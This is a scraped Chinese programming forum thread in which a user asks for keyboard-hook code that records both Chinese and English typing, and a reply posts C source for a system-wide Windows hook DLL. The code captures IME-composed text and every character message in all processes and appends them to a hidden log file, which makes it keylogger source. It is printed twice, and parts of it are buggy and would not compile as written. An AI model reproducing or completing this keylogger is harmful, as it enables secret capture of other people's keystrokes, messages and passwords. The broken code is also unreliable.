小弟跪求能记录中英文的键盘果子代码 哪位好心能给我传一下可用的键盘钩子代码,要 能记录中英文的。找了以个晚上一般情况下只能记录英文的,实在太无语了。QQ邮箱吧: [email protected] 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 英文用 键盘钩子中文要用 WM_IME_COMPOSITION但是这样的话,记录中文的时候,也会把输入的按键记录下来吧 我这里倒是有找到一个代码,用对话框能正确的输出代码,但是保存到文件里面的时候却是乱码,谁能帮我看下么:#include "windows.h"#include "imm.h"#include "stdio.h"#define HOOK_API __declspec(dllexport) char temp[20];HHOOK g_hHook = NULL; //hook句柄HINSTANCE g_hHinstance = NULL; //程序句柄LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam){ LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);PMSG pmsg = (PMSG)lParam;if (nCode == HC_ACTION && wParam == PM_REMOVE){HIMC hIMC;HWND hWnd=pmsg->hwnd;DWORD dwSize;char ch;char lpstr[20];memset(temp,0,20);switch (pmsg->message){case WM_IME_COMPOSITION:{if(pmsg->lParam & GCS_RESULTSTR){//先获取当前正在输入的窗口的输入法句柄hIMC = ImmGetContext(hWnd);if (!hIMC){//MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);}// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);// 缓冲区大小要加上字符串的NULL结束符大小,// 考虑到UNICODEdwSize += sizeof(WCHAR);memset(lpstr, 0, 20);// 再调用一次.ImmGetCompositionString获取字符串ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...MessageBox(NULL, lpstr, lpstr, MB_OK); temp=lpstr;ImmReleaseContext(hWnd, hIMC);}}break;case WM_CHAR: //截获发向焦点窗口的键盘消息{FILE* f1;f1=fopen("c:\\report.txt","a+");if(strlen(temp)>0){fwrite(temp,1,sizeof(temp),f1);fwrite("!!!",1,3,f1);memset(temp,0,20);}else{ch=(char)(pmsg->wParam);fwrite(&ch,1,1,f1);}fclose(f1); }break;}}return(lResult);}HHOOK InstallHook(){g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);return g_hHook;} BOOL UnHook(HHOOK g_hHook){ return UnhookWindowsHookEx(g_hHook);} BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:g_hHinstance=(HINSTANCE)hModule;break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:UnHook(g_hHook);break;}return TRUE;} 怎么屏蔽CDialog类默认的按下ENTER和ESC退出功能? 如何将一个控件添加到另一个控件中 有人知道如何录音后去噪声吗? 问个《windows网络编程》书上例子的问题 给Dialog创建状态栏出现疑问。 关于VC的单文档(SDI)类型的程序布局的问题? 鼠标的坐标是否只能限制在屏幕里面? 显示位图文件?? 给“masterz”的问题 [求教]activeX 的 MFC 多个窗口 嵌入 同一框架中不同的网页 初学OPENGL 有什么好的书籍 介绍下 关于远程开机
中文要用 WM_IME_COMPOSITION但是这样的话,记录中文的时候,也会把输入的按键记录下来吧
#include "imm.h"
#include "stdio.h"
#define HOOK_API __declspec(dllexport)
char temp[20];
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;if (nCode == HC_ACTION && wParam == PM_REMOVE){
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
memset(temp,0,20);
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
//MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);memset(lpstr, 0, 20);// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
MessageBox(NULL, lpstr, lpstr, MB_OK);
temp=lpstr;
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1=fopen("c:\\report.txt","a+");
if(strlen(temp)>0)
{
fwrite(temp,1,sizeof(temp),f1);
fwrite("!!!",1,3,f1);
memset(temp,0,20);
}
else
{ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);}
fclose(f1);
}
break;
}
}return(lResult);
}HHOOK InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return g_hHook;
} BOOL UnHook(HHOOK g_hHook)
{
return UnhookWindowsHookEx(g_hHook);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=(HINSTANCE)hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook(g_hHook);
break;
}
return TRUE;
}